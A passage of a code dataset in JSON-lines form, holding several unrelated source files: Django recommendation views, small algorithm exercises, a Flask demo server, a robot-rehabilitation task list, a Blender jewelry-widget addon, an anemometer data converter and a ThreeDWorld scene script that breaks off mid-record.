productId = request.POST.get(PARAMS_RECOMMEND_TAG_ID + foo)\n productGroupId = request.POST.get(PARAMS_RECOMMEND_TAG_GROUP_ID + foo)\n lines = []\n for goo in request.POST.getlist(PARAMS_RECOMMEND_TAG_LINE + foo):\n if goo:\n style = request.POST.get(PARAMS_RECOMMEND_TAG__LINE_STYLE + foo + goo)\n direction = request.POST.get(PARAMS_RECOMMEND_TAG__LINE_DIRECTION + foo + goo)\n if style and direction:\n line = {\n 'style': int(style),\n 'direction': int(direction),\n 'content': goo,\n }\n lines.append(line)\n else:\n return Error_Page.Parameter_Error()\n\n if percentX and percentY and productGroupId and productId and len(lines) > 0:\n A = {\n 'point': {\n 'percentX': float(percentX),\n 'percentY': float(percentY),\n },\n 'lines': lines,\n 'productId': productId,\n 'productGroupId': productGroupId,\n }\n print(A)\n tagList.append(A)\n else:\n return Error_Page.Parameter_Error()\n if len(tagList) > 0:\n return tagList\n return None\n\n\ndef getHtmlDate(request):\n \"\"\"\n 从前端获取数据\n :param request: \n :return: \n \"\"\"\n data = {\n Recommend.Attribute_time: request.POST.get(PARAMS_RECOMMEND_TIME),\n Recommend.Attribute_mainImage: request.FILES.get(PARAMS_RECOMMEND_FILE),\n Recommend.Attribute_imageWidth: request.POST.get(PARAMS_RECOMMEND_WIDTH),\n Recommend.Attribute_imageHeight: request.POST.get(PARAMS_RECOMMEND_HEIGHT),\n Recommend.Attribute_tagGroup: getRequestData1(request),\n }\n return data\n\n\n@login_required\n@permission(ROLE_BUSINESS)\ndef AddRecommendation(request):\n \"\"\"\n 创建新的推荐\n :param request: \n :return: \n \"\"\"\n content = PROFILE_INIT()\n if request.method == 'POST':\n if request.POST.get('submit'):\n data = getHtmlDate(request)\n # 参数检查\n if data:\n print(data)\n Recommend.save_Recommend(data)\n # 查找所有推荐\n return HttpResponseRedirect('/Recommendation/AllRecommendation/')\n else:\n return Error_Page.Parameter_Error()\n\n return render(request, 'AddRecommendation.html', {'content': content, })\n\n\n@login_required\n@permission(ROLE_BUSINESS)\n@require_http_methods(['GET'])\ndef AllRecommendation(request):\n \"\"\"\n 显示所有推荐信息\n :param request: \n :return: \n \"\"\"\n content = PROFILE_INIT()\n # 查��所有推荐\n # 设置分页\n page = request.GET.get('page', 1)\n page_nums = Recommend.count_Recommend_All()\n paginator1 = Base.paginator_private(page, page_nums)\n content.update({'paginator': paginator1})\n\n content['data']['recommendList'] = Recommend.get_Recommend_All(page)\n Base.sys_log_info( content )\n return render(request, 'AllRecommendation.html', {'content': content, })\n\n\n@login_required\n@require_http_methods(['GET'])\n@permission(ROLE_BUSINESS)\ndef ShowRecommendation(request):\n \"\"\"\n 显示推荐信息\n :param request: \n :return: \n \"\"\"\n content = PROFILE_INIT()\n objectId = request.GET.get('objectId')\n query = Recommend.get_Recommend(objectId)\n if query:\n content['recommend'] = Recommend.output_Recommend(query)\n Base.sys_log_info( content )\n return render(request, 'ShowRecommendation.html', {'content': content})\n\n\n@login_required\n@permission(ROLE_BUSINESS)\ndef EditRecommendation(request):\n \"\"\"\n 编辑推荐信息\n :param request: \n :return: \n \"\"\"\n content = PROFILE_INIT()\n if request.method == 'POST':\n objectId = request.POST.get('objectId')\n if request.POST.get('_EditAndSave'):\n Base.sys_log_info( request.POST )\n\n tagList = getRequestData1(request)\n if tagList:\n Recommend.update_attribute_tagGroup(objectId, tagList)\n return HttpResponseRedirect('/Recommendation/ShowRecommendation/?objectId='+objectId)\n else:\n return Error_Page.Parameter_Error('EditRecommendation\\'s parameter is null')\n if request.POST.get('_delete'):\n Recommend.delete_Recommend(objectId)\n return HttpResponseRedirect('/Recommendation/AllRecommendation/')\n objectId = request.GET.get('objectId')\n # 显示需要修改的数据\n query = Recommend.get_Recommend(objectId)\n if query:\n content['data']['recommend'] = Recommend.output_Recommend(query)\n Base.sys_log_info( content )\n return render(request, 'EditRecommendation.html', {'content': content, })\n\nfrom rest_framework.views import APIView\n\n\nclass recommend(APIView):\n def get(self, request):\n pass\n\n def post(self, request):\n pass\n\n\nclass recommendDetail(APIView):\n def get(self, request, objectId):\n pass\n\n def put(self, request, objectId):\n pass\n\n def delete(self, request, objectId):\n pass\n","sub_path":"Recommendation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"417291006","text":"#solved\n#Project Euler #20: Factorial digit sum\n\nfrom math import factorial as fact\nfor T in range(int(input())):\n\tl=fact(int(input()))\n\tt=0\n\tfor i in str(l):\n\t\tt+=int(i)\n\tprint(t)\n","sub_path":"project euler+/euler20.py","file_name":"euler20.py","file_ext":"py","file_size_in_byte":181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"452750688","text":"import heapq\ndef solution(operations):\n max_heap = []\n min_heap = []\n count = 0\n \n for operation in operations:\n operation = operation.split(\" \")\n \n if operation[0] == \"I\":\n count += 1\n num = int(operation[1])\n heapq.heappush(min_heap, num)\n heapq.heappush(max_heap, -num)\n elif operation[1] == \"1\" and max_heap:\n count -= 1\n heapq.heappop(max_heap)\n elif operation[1] == \"-1\" and min_heap:\n count -= 1\n heapq.heappop(min_heap)\n if count <= 0:\n min_heap.clear()\n max_heap.clear()\n \n if count == 0:\n return [0,0]\n return [-max_heap[0], min_heap[0]]\n ","sub_path":"week2_extra/lv3_힙복습_이중우선순위큐.py","file_name":"lv3_힙복습_이중우선순위큐.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"291386857","text":"from flask import Flask,render_template,jsonify\r\n\r\n\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/',methods=[ \"GET\",'POST'])\r\ndef index():\r\n a={\"name\":\"bob\",\"date\":\"12月5日\",\"time\":\"23:30\",\"peopleCount\":\"10位\",\"phone\":\"0123456789\"}\r\n\r\n Webray_in_flask=[]\r\n Webray_in_flask.append(a)\r\n\r\n hello_word_in_flask='hello hello hello'\r\n\r\n return render_template('index.html',Webray=Webray_in_flask,hello=hello_word_in_flask)\r\n\r\n\r\n\r\n@app.route('/route_function',methods=[ \"GET\",'POST'])\r\ndef route_function():\r\n\r\n\r\n\r\n return jsonify({'validate': 'formula success','PayAmount':1500})\r\n\r\n\r\n\r\n@app.route('/dashboard',methods=[ \"GET\",'POST'])\r\ndef dashboard():\r\n print('dashboard')\r\n\r\n return render_template('dashboard.html') \r\n\r\n@app.route('/base',methods=[ \"GET\",'POST'])\r\ndef base():\r\n print('base')\r\n\r\n return render_template('base.html') \r\n\r\n\r\n@app.route('/testsuper',methods=[ \"GET\",'POST'])\r\ndef testsuper():\r\n print('testsuper')\r\n\r\n return render_template('testsuper.html') \r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True,threaded=True,port=5566) ","sub_path":"web/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"147635740","text":"def solution(n, times):\n \n answer = 0\n \n # 걸리는 시간 정렬\n sorted_times = sorted(times)\n \n # 가장 적게 걸릴 시간은 대기자가 한 명이고 가장 처리가 빠른 사람이 처리 할때!\n min_time = sorted_times[0]\n \n # 가장 오래 걸릴 시간은 가장 처리 시간이 긴 사람이 전부 처리 할때!\n max_time = n*sorted_times[-1]\n\n\n # 이분 탐색의 조건 이 두 변수를 고쳐가면서 진행\n while min_time <= max_time:\n \n # 중간 지점을 계산\n mid = int((min_time+max_time)/2)\n \n # 최대로 처리 할 수 있는 고객의 수를 구하기\n customer = 0\n \n \n for time in times:\n customer += mid // time\n if customer >= n:\n break\n if customer >= n:\n answer = mid\n max_time = mid-1\n else:\n min_time = mid+1\n\n return answer\n\n\n\nn = 6\ntimes = [7,10]\n\nprint(solution(n,times))\n","sub_path":"프로그래머스/이분탐색/입국심사/immigration.py","file_name":"immigration.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"276945117","text":"'''\nList of tasks that can be run from the web interface. It is intended that this file NOT\nbe version controlled so that each rig can individually pick which tasks it wants\nas dependencies.\n'''\n\nfrom ismore import ismoretasks\nfrom ismore.invasive import bmi_ismoretasks, sleep_task\nfrom ismore.noninvasive import exg_tasks\nfrom tasks import manualcontrolmultitasks, bmimultitasks, passivetasks, cursor_clda_tasks\n\ntasks = dict(\n\n # old tasks\n\n #ismore_record_B1_EMG = ismoretasks.RecordB1_EMG,\n #ismore_record_B2_EMG = ismoretasks.RecordB2_EMG,\n #ismore_record_F1_EMG = ismoretasks.RecordF1_EMG,\n #ismore_record_F2_EMG = ismoretasks.RecordF2_EMG,\n #ismore_record_FreeMov_EMG = ismoretasks.RecordFreeMov_EMG, \n #ismore_record_F2 = ismoretasks.RecordF2,\n #ismore_playback_trajectories = ismoretasks.PlaybackTrajectories, \n #ismore_playback_trajectories2 = ismoretasks.PlaybackTrajectories2,\n\n #ismore_visual_feedback = bmi_ismoretasks.VisualFeedback,\n #ismore_manual_control = bmi_ismoretasks.ManualControl,\n #ismore_bmi_control = bmi_ismoretasks.BMIControl,\n #ismore_clda_control = bmi_ismoretasks.CLDAControl,\n #ismore_calibration_movements = ismoretasks.CalibrationMovements,\n #ismore_record_ReHand_data = ismoretasks.Record_ReHand_data,\n #ismore_EMG_trajectory_decoding = exg_tasks.EMGTrajectoryDecoding,\n #ismore_EMG_traj_decoding_EndPoint_control = exg_tasks.EMGTrajDecodingEndPoint,\n #ismore_SendVelProfile = ismoretasks.SendVelProfile,\n \n # New BMI tasks: Aug 2017\n manual_control = bmi_ismoretasks.ManualControl, \n compliant_move = bmi_ismoretasks.CompliantMovements,\n ismore_bmi = bmi_ismoretasks.BMIControl,\n ismore_bmi_w_emg_rest = bmi_ismoretasks.BMIControl_w_Binary_EMG,\n ismore_emg_control_w_emg_rest = bmi_ismoretasks.EMGControl_w_Binary_EMG,\n ismore_hybrid_bmi_w_emg_rest = bmi_ismoretasks.Hybrid_BMIControl_w_Binary_EMG,\n ismore_clda_all = bmi_ismoretasks.CLDAControl,\n ismore_clda_hybrid = bmi_ismoretasks.Hybrid_CLDAControl_w_Binary_EMG,\n ismore_hybrid_bmi_w_emg_rest_gotostart = bmi_ismoretasks.Hybrid_BMIControl_w_Binary_EMG_BackToStart,\n ismore_hybrid_bmi_w_emg_rest_gotostart_prp = bmi_ismoretasks.Hybrid_BMIControl_w_BinEMG_Back2Start_Prep,\n ismore_hybrid_EMGhandClass_bmi_w_emg_rest_gotostart_prp = bmi_ismoretasks.Hybrid_EMGHandClassification_BMIControl_w_BinEMG_Back2Start_Prep,\n ismore_clda_hybrid_EMG_dec_class = bmi_ismoretasks.Hybrid_EMGHandClass_CLDAControl_w_BinEMG,\n ismore_replay_exo_WO_audio = bmi_ismoretasks.ReplayBMI_wo_Audio,\n ismore_replay_exo_W_audio = bmi_ismoretasks.ReplayBMI_w_Audio,\n ismore_compliant_w_prep = bmi_ismoretasks.CompliantMovements_w_prep,\n ismore_bmi_trigger_phaseV = bmi_ismoretasks.Hybrid_GraspClass_w_RestEMG_PhaseV,\n #ismore_sim_bmi = bmi_ismoretasks.SimBMIControl, \n #ismore_sim_clda = bmi_ismoretasks.SimCLDAControl,\n\n # # Non-IsMore BMI tasks: Aug 2017\n # cursor_vfb = passivetasks.TargetCaptureVFB2DWindow,\n # cursor_clda = cursor_clda_tasks.CLDARMLKF_2DWindow, \n # cursor_clda_SB = cursor_clda_tasks.CLDAKFSmoothBatch_2DWindow,\n # cursor_bmi = bmimultitasks.BMIControlMulti2DWindow,\n # joystick = manualcontrolmultitasks.JoystickMulti2DWindow,\n # cursor_obs = bmimultitasks.BMIResettingObstacles2D,\n # emg_biofeedback = bmimultitasks.BMIControlEMGBiofeedback,\n\n\n #Active movements\n active_move = exg_tasks.Active_Movements,\n sleep = sleep_task.SleepTask,\n sleep_w_reactivation = sleep_task.SleepTask_w_reactivation, \n sleep_bmi_task = bmi_ismoretasks.BMIControl_1D_along_traj,\n mirror_therapy_mov = exg_tasks.Mirror_Therapy_Movements,\n # tasks in Tubingen\n #ismore_record_EXG = ismoretasks.RecordEXG,\n # ismore_Record_Base_Kin = ismoretasks.Record_Base_Kin,\n\n ismore_disable_system = ismoretasks.Disable_System,\n ismore_recordGoalTargets = ismoretasks.RecordGoalTargets,\n ismore_recordSafetyGrid = ismoretasks.RecordSafetyGrid, \n # ismore_GoToTarget = ismoretasks.GoToTarget, \n \n # ismore_record_BrainAmpData = ismoretasks.RecordBrainAmpData,\n # ismore_RecordExGData = exg_tasks.RecordExGData,\n\n # ismore_EndPointMovement = ismoretasks.EndPointMovement,\n # ismore_CyclicEndPointMovement = ismoretasks.CyclicEndPointMovement,\n # ismore_EMGEndPointMovement = exg_tasks.EMGEndPointMovement,\n # ismore_EXGEndPointMovement = exg_tasks.EXGEndPointMovement,\n # ismore_EXGCyclicEndPointMovement = exg_tasks.EXGCyclicEndPointMovement,\n # ismore_SimEEGMovementDecoding = exg_tasks.SimEEGMovementDecoding,\n # ismore_SimEEGMovementDecodingNew = exg_tasks.SimEEGMovementDecodingNew,\n \n ismore_EEGScreening = exg_tasks.EEG_Screening,\n # ismore_EEG_Movement_Decoding = exg_tasks.EEGMovementDecoding,\n # ismore_EEG_Movement_Decoding_New = exg_tasks.EEGMovementDecodingNew,\n # ismore_EEG_Cyclic_Movement_Decoding_New = exg_tasks.EEGCyclicMovementDecodingNew,\n # ismore_EEG_Movement_Decoding_New_testing = exg_tasks.EEGMovementDecodingNew_testing,\n \n \n # ismore_ExG_FM_6movs_CODA = exg_tasks.ExG_FM_6movs_CODA, \n # ismore_ExG_FM_3movs_CODA = exg_tasks.ExG_FM_3movs_CODA, \n # ismore_ExG_FM_ARAT_CODA = exg_tasks.ExG_FM_ARAT_CODA, \n\n # # Motor Learning study tasks\n # ismore_EMGDecodingMotorLearning = exg_tasks.EMGDecodingMotorLearning,\n # ismore_EMGDecodingMotorLearning_ref = exg_tasks.EMGDecodingMotorLearning_ref,\n # ismore_EMGDecodingMotorLearning_question = exg_tasks.EMGDecodingMotorLearning_question,\n \n # ismore_HybridBCI = exg_tasks.HybridBCI,\n # ismore_EMG_SynergiesTasks = exg_tasks.EMG_SynergiesTasks,\n # ismore_EMGClassificationEndPoint = exg_tasks.EMGClassificationEndPoint,\n \n # # testing tasks\n ismore_EndPointMovement_testing = ismoretasks.EndPointMovement_testing,\n ismore_EXGEndPointMovement_testing = exg_tasks.EXGEndPointMovement_testing,\n\n)\n","sub_path":"ismore/tasklist.py","file_name":"tasklist.py","file_ext":"py","file_size_in_byte":6096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"595468441","text":"# ##### BEGIN GPL LICENSE BLOCK #####\n#\n# JewelCraft jewelry design toolkit for Blender.\n# Copyright (C) 2015-2019 Mikhail Rachinskiy\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n# ##### END GPL LICENSE BLOCK #####\n\n\nfrom functools import lru_cache\nfrom math import sin, cos, tau\n\nimport bpy\nimport bgl\nimport gpu\nfrom gpu_extras.batch import batch_for_shader\nfrom mathutils import Matrix, Vector\n\nfrom .. import var\n\n\n_handler = None\nshader = gpu.shader.from_builtin(\"3D_UNIFORM_COLOR\")\n\n\ndef handler_add(self, context):\n global _handler\n\n if _handler is None:\n _handler = bpy.types.SpaceView3D.draw_handler_add(draw, (self, context), \"WINDOW\", \"POST_VIEW\")\n\n\ndef handler_del():\n global _handler\n\n if _handler is not None:\n bpy.types.SpaceView3D.draw_handler_remove(_handler, \"WINDOW\")\n _handler = None\n\n\ndef handler_toggle(self, context):\n\n if context.area.type == \"VIEW_3D\":\n\n if self.widget_toggle:\n handler_add(self, context)\n else:\n handler_del()\n\n context.area.tag_redraw()\n\n\ndef draw(self, context):\n\n if not context.scene.jewelcraft.widget_toggle or not context.space_data.overlay.show_overlays:\n return\n\n depsgraph = context.depsgraph\n prefs = bpy.context.scene.jewelcraft_preset\n use_ovrd = prefs.widget_use_overrides\n use_ovrd_only = use_ovrd and prefs.widget_overrides_only\n use_sel_only = prefs.widget_selection_only\n\n default_settings = {\n \"color\": prefs.widget_color,\n \"linewidth\": prefs.widget_linewidth,\n \"distance\": prefs.widget_distance,\n }\n\n shader.bind()\n bgl.glEnable(bgl.GL_BLEND)\n bgl.glEnable(bgl.GL_LINE_SMOOTH)\n bgl.glDepthMask(bgl.GL_FALSE)\n\n if prefs.widget_show_in_front:\n bgl.glDisable(bgl.GL_DEPTH_TEST)\n\n for dup in depsgraph.object_instances:\n\n if dup.is_instance:\n ob = dup.instance_object.original\n else:\n ob = dup.object.original\n\n if (\n (\"gem\" not in ob) or\n (use_ovrd_only and \"jewelcraft_widget\" not in ob) or\n (use_sel_only and not ob.select_get())\n ):\n continue\n\n if dup.is_instance:\n mat = dup.matrix_world\n else:\n mat_loc = Matrix.Translation(ob.matrix_world.translation)\n mat_rot = ob.matrix_world.to_quaternion().to_matrix().to_4x4()\n mat = mat_loc @ mat_rot\n\n settings = default_settings.copy()\n\n if use_ovrd and \"jewelcraft_widget\" in ob:\n settings.update(ob[\"jewelcraft_widget\"])\n\n radius = max(ob.dimensions[:2]) / 2 + settings[\"distance\"]\n coords = [mat @ co for co in circle_coords(radius)]\n\n bgl.glLineWidth(settings[\"linewidth\"])\n shader.uniform_float(\"color\", settings[\"color\"])\n batch = batch_for_shader(shader, \"LINE_LOOP\", {\"pos\": coords})\n batch.draw(shader)\n\n # Restore OpenGL defaults\n # ----------------------------\n\n bgl.glDisable(bgl.GL_BLEND)\n bgl.glDisable(bgl.GL_LINE_SMOOTH)\n bgl.glDepthMask(bgl.GL_TRUE)\n bgl.glEnable(bgl.GL_DEPTH_TEST)\n bgl.glLineWidth(1)\n\n\n@lru_cache(maxsize=128)\ndef circle_coords(radius):\n coords = []\n angle = tau / 64\n\n for i in range(64):\n x = sin(i * angle) * radius\n y = cos(i * angle) * radius\n coords.append(Vector((x, y, 0.0)))\n\n return coords\n","sub_path":"All_In_One/addons/learnbgame/jewelcraft/lib/widget.py","file_name":"widget.py","file_ext":"py","file_size_in_byte":3979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"302203170","text":"import math\nprime = []\nn = int(input(\"Enter an integer: \"))\nwhile not (0 <= n <= 1000000):\n n = int(input(\"Invalid. Re-enter your integer: \"))\nprint(\"Your number is:\",n)\nwhile n % 2 == 0:\n prime.append(2)\n n = n / 2\nfor i in range (3, int(math.sqrt(n))+1, 2):\n while n % i == 0:\n prime.append(i)\n n = n / i\nif n > 2:\n prime.append(int(n))\nprint(\"Its prime factor(s):\", prime)","sub_path":"lesson3/hw/prime.py","file_name":"prime.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"457713263","text":"#!/usr/bin/python3\n\"\"\"\nThis module starts a Flask web application\nYour web application must be listening on 0.0.0.0, port 5000\nThe route /: display Hello HBNB!\n\"\"\"\nfrom flask import Flask\n\napp = Flask(__name__)\n\n\n@app.route('/', strict_slashes=False)\ndef greeting():\n \"\"\"\n Prints a message when the route / is taken in the web application\n \"\"\"\n return \"Hello HBNB!\"\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000)\n","sub_path":"web_flask/0-hello_route.py","file_name":"0-hello_route.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"589013411","text":"\"\"\"\nProcess raw Texas Tech data to 10-minute .mat files\n\"\"\"\nimport sys\nlibpath = 'C:\\\\Users\\\\jrinker\\\\Documents\\\\GitHub\\\\dissertation'\nif (libpath not in sys.path): sys.path.append(libpath)\n\nimport JR_Library.main as jr\nimport os, csv, re, shutil\nimport numpy as np\nimport scipy.io as scio\n\n# define dataset-specific paramters\ndataset = 'texastech'\nspecs = jr.datasetSpecs(dataset)\nn_t, dt, heights = specs['n_t'], specs['dt'], specs['IDs']\n\n# specify drive location\next_drive = 'H:'\n\n# define base directory for intermediate data\n#baseraw = ext_drive + '\\\\data\\\\texas-tech_raw'\n#baseproc = ext_drive + '\\\\data\\\\texas-tech'\nbaseraw = ext_drive + '\\\\texas-tech_raw'\nbaseproc = ext_drive + '\\\\texas-tech'\n\n# conversion factors\nmph2mps = 1./2.2369362920544 # mph to meters/s\nvdc2mps_UVW = 40.26*mph2mps # voltage to meters/s prop. anemometer\nvdc2rh = 20. # voltage to relative humidity\nvdc2c_m = 20. # voltage to celsius: slope\nvdc2c_b = -50. # voltage to celsius: offset\nvdc2pscl_m = 1.78*3386.39 # voltage to pascals: slope\nvdc2pscl_b = 23.6*3386.39 # voltage to pascals: offset\n\n# create 30-minute time array\nt_30min = np.arange(1800/dt)*dt\n\n# delete processed directory if necessary\nprint('\\nCleaning/creating previous processed directory...')\nif os.path.isdir(baseproc):\n shutil.rmtree(baseproc)\nos.makedirs(baseproc)\n\n# get raw data field names\n#raw_field_fpath = 'G:\\\\data\\\\texas-tech_raw\\\\Documentation\\\\raw_fieldnames.csv'\nraw_field_fpath = 'H:\\\\texas-tech_raw\\\\Documentation\\\\raw_fieldnames.csv'\nwith open(raw_field_fpath,'r') as csvfile:\n csvreader = csv.reader(csvfile)\n raw_fields_all = [[],[],[],[]]\n for row in csvreader:\n for i_row in range(4):\n raw_fields_all[i_row].append(row[i_row])\n for i_row in range(4):\n raw_fields_all[i_row] = [s for s in raw_fields_all[i_row] if s]\n \nprint('\\nProcessing files...')\n\n# for each set of 30-minute .csv files in raw data directory\ndata_folders = [fold for fold in os.listdir(baseraw) if fold[0].isdigit()]\nfor i_folder in range(len(data_folders)):\n data_folder = data_folders[i_folder]\n data_dir = os.path.join(baseraw,data_folder)\n \n # get list of sets of 30-minute files\n files_all = os.listdir(data_dir)\n files_trunc = [f[:-8] for f in files_all]\n files_uniq = list(set(files_trunc))\n \n # loop through sets of 30-minite files\n for i_uniq in range(len(files_uniq)):\n \n uniq_fname = files_uniq[i_uniq]\n csv_list = [fname for fname in os.listdir(data_dir) \\\n if uniq_fname in fname]\n\n # initialize 10-minute dictionaries (3 for 30-minute records) and\n # filenames for each mat file\n time_str0 = re.search('(_T[0-9]{4}_)',uniq_fname).group()[1:-1]\n time_str1 = time_str0[:3] + '1' + time_str0[-1]\n time_str2 = time_str0[:3] + '2' + time_str0[-1]\n fname0 = uniq_fname + '.mat'\n fname1 = re.sub('(T[0-9]{4})',time_str1,fname0)\n fname2 = re.sub('(T[0-9]{4})',time_str2,fname0)\n dict_10mins = [{'name':fname0},{'name':fname1},{'name':fname2}]\n \n # for raw files 1 through 4\n for i_f in range(len(csv_list)):\n \n # get filename and path to file\n csv_fname = csv_list[i_f]\n csv_fpath = os.path.join(data_dir,csv_fname)\n \n # extract list of raw fieldnames from list of all fieldnames\n raw_fields = raw_fields_all[i_f]\n int_fields = [s.replace('raw','int') for s in raw_fields]\n \n # process time series\n raw_data = np.genfromtxt(csv_fpath,delimiter=',')\n int_data = np.empty((t_30min.size,raw_data.shape[1]))\n nt_raw = raw_data.shape[0]\n t_raw = np.arange(nt_raw)/float(nt_raw)*1800\n for i_field in range(len(raw_fields)):\n field = raw_fields[i_field]\n \n # interpolate to even 30-minute base\n int_data[:,i_field] = np.interp(t_30min,\n t_raw,raw_data[:,i_field])\n \n # convert voltages to engineering units\n if ('UVW' in field):\n int_data[:,i_field] = int_data[:,i_field] * vdc2mps_UVW\n elif ('Air_Temp' in field):\n int_data[:,i_field] = int_data[:,i_field] * vdc2c_m + vdc2c_b\n elif ('Relative_Humidity' in field):\n int_data[:,i_field] = int_data[:,i_field] * vdc2rh\n elif ('Baro_Presr' in field):\n int_data[:,i_field] = int_data[:,i_field] * vdc2pscl_m + vdc2pscl_b\n \n # split interpolated 30-min data into 10-minute sections and save\n# n_raw_10min = nt_raw/3.\n n_int_10min = 600./dt\n for i_t in range(3):\n# raw_data_10min = raw_data[(i_t*n_raw_10min):(i_t+1)*n_raw_10min]\n int_data_10min = int_data[(i_t*n_int_10min):(i_t+1)*n_int_10min]\n for i_field in range(len(raw_fields)):\n field = raw_fields[i_field]\n field_int = field.replace('_raw','')\n if ('unused' not in field):\n# dict_10mins[i_t][field] = raw_data_10min[:,i_field]\n dict_10mins[i_t][field_int] = int_data_10min[:,i_field]\n \n# # rotate and save sonic anemometer data\n# sonic_x_keys = [key for key in int_fields if 'Sonic_x' in key]\n# for i_key in range(len(sonic_x_keys)):\n# \n# # get dictionary keys to sonic data\n# sonic_x_key = sonic_x_keys[i_key]\n# sonic_y_key = sonic_x_key.replace('Sonic_x','Sonic_y')\n# sonic_z_key = sonic_x_key.replace('Sonic_x','Sonic_z')\n# sonic_T_key = sonic_x_key.replace('Sonic_x','Sonic_T')\n# \n# # get raw sonic data\n# x = dict_10mins[i_t][sonic_x_key]\n# y = dict_10mins[i_t][sonic_y_key]\n# z = dict_10mins[i_t][sonic_z_key]\n# \n# # rotate data\n# u, v, w = jr.RotateTimeSeries(x,y,z)\n# \n# # save rotated data\n# sonicrot_x_key = sonic_x_key.replace('x_int','u')\n# sonicrot_y_key = sonic_y_key.replace('y_int','v')\n# sonicrot_z_key = sonic_z_key.replace('z_int','w')\n# sonicrot_T_key = sonic_T_key.replace('T_int','T')\n# dict_10mins[i_t][sonicrot_x_key] = u\n# dict_10mins[i_t][sonicrot_y_key] = v\n# dict_10mins[i_t][sonicrot_z_key] = w\n# dict_10mins[i_t][sonicrot_T_key] = dict_10mins[i_t][sonic_T_key]\n# \n# # rotate and save propeller anemometer data\n# UVW_x_keys = [key for key in int_fields if 'UVW_x' in key]\n# for i_key in range(len(UVW_x_keys)):\n# \n# # get dictionary keys to propeller anemometer data\n# UVW_x_key = UVW_x_keys[i_key]\n# UVW_y_key = UVW_x_key.replace('UVW_x','UVW_y')\n# UVW_z_key = UVW_x_key.replace('UVW_x','UVW_z')\n# \n# # get raw propeller anemometer data\n# x = dict_10mins[i_t][UVW_x_key]\n# y = dict_10mins[i_t][UVW_y_key]\n# z = dict_10mins[i_t][UVW_z_key]\n# \n# # rotate data\n# u, v, w = jr.RotateTimeSeries(x,y,z)\n# \n# # save rotated data\n# UVWrot_x_key = UVW_x_key.replace('x_int','u')\n# UVWrot_y_key = UVW_y_key.replace('y_int','v')\n# UVWrot_z_key = UVW_z_key.replace('z_int','w')\n# dict_10mins[i_t][UVWrot_x_key] = u\n# dict_10mins[i_t][UVWrot_y_key] = v\n# dict_10mins[i_t][UVWrot_z_key] = w\n \n # get path to processed directory, create it if it doesn't exist\n date_str = re.search('(D[0-9]{8})',uniq_fname).group()[1:]\n year = date_str[:4]\n month = date_str[4:6]\n day = date_str[6:8]\n proc_dir = os.path.join(baseproc,year,month,day)\n if not os.path.isdir(proc_dir):\n os.makedirs(proc_dir)\n print(' {:s}'.format(proc_dir))\n \n # save 10-minute high-frequency dictionaries to .mat\n for i_t in range(3):\n fpath = os.path.join(proc_dir,dict_10mins[i_t]['name'])\n scio.savemat(fpath,dict_10mins[i_t])\n\n\n\n\n ","sub_path":"metadata-process/proc-texas_tech_raw_to_mat.py","file_name":"proc-texas_tech_raw_to_mat.py","file_ext":"py","file_size_in_byte":9023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"72030488","text":"from tdw.librarian import MaterialLibrarian\nfrom tdw.tdw_utils import TDWUtils\nfrom tdw.controller import Controller\nfrom tdw.output_data import Bounds, Images\n\n\nclass ProcGenInteriorDesign(Controller):\n\n def run(self):\n self.start()\n init_setup_commands = [{\"$type\": \"set_screen_size\",\n \"width\": 600,\n \"height\": 480},\n {\"$type\": \"set_render_quality\",\n \"render_quality\": 5}]\n self.communicate(init_setup_commands)\n\n # Create an empty room.\n self.communicate(TDWUtils.create_empty_room(8, 8))\n # Disable physics.\n self.communicate({\"$type\": \"set_gravity\",\n \"value\": False})\n\n # Add the avatar.\n self.communicate(TDWUtils.create_avatar(position={\"x\": 0, \"y\": 1, \"z\": 0},\n look_at=TDWUtils.array_to_vector3([4, 0.3, -0.3]),\n avatar_id=\"avatar\"))\n\n lib = MaterialLibrarian(library=\"materials_med.json\")\n record = lib.get_record(\"concrete\")\n self.communicate({\"$type\": \"add_material\", \"name\": \"concrete\", \"url\": record.get_url()})\n self.communicate({\"$type\": \"set_proc_gen_floor_material\", \"name\": \"concrete\"})\n self.communicate({\"$type\": \"set_proc_gen_wall_material\", \"name\": \"concrete\"})\n\n # self.communicate({\"$type\": \"set_field_of_view\",\n # \"field_of_view\": 68.0,\n # \"avatar_id\": \"avatar\"})\n\n self.add_object(model_name=\"b05_skateboard\",\n position={\"x\": 3.2, \"y\": 0.3, \"z\": -0.5},\n rotation={\"x\": 0, \"y\": 0, \"z\": 80},\n library=\"models_full.json\")\n\n self.add_object(model_name=\"skateboard_3\",\n position={\"x\": 3, \"y\": 0, \"z\": 0.6},\n rotation={\"x\": 0, \"y\": 30, \"z\": 0},\n library=\"models_full.json\")\n\n self.add_object(model_name=\"b03_3wheels\",\n position={\"x\": 1.8, \"y\": 0, \"z\": 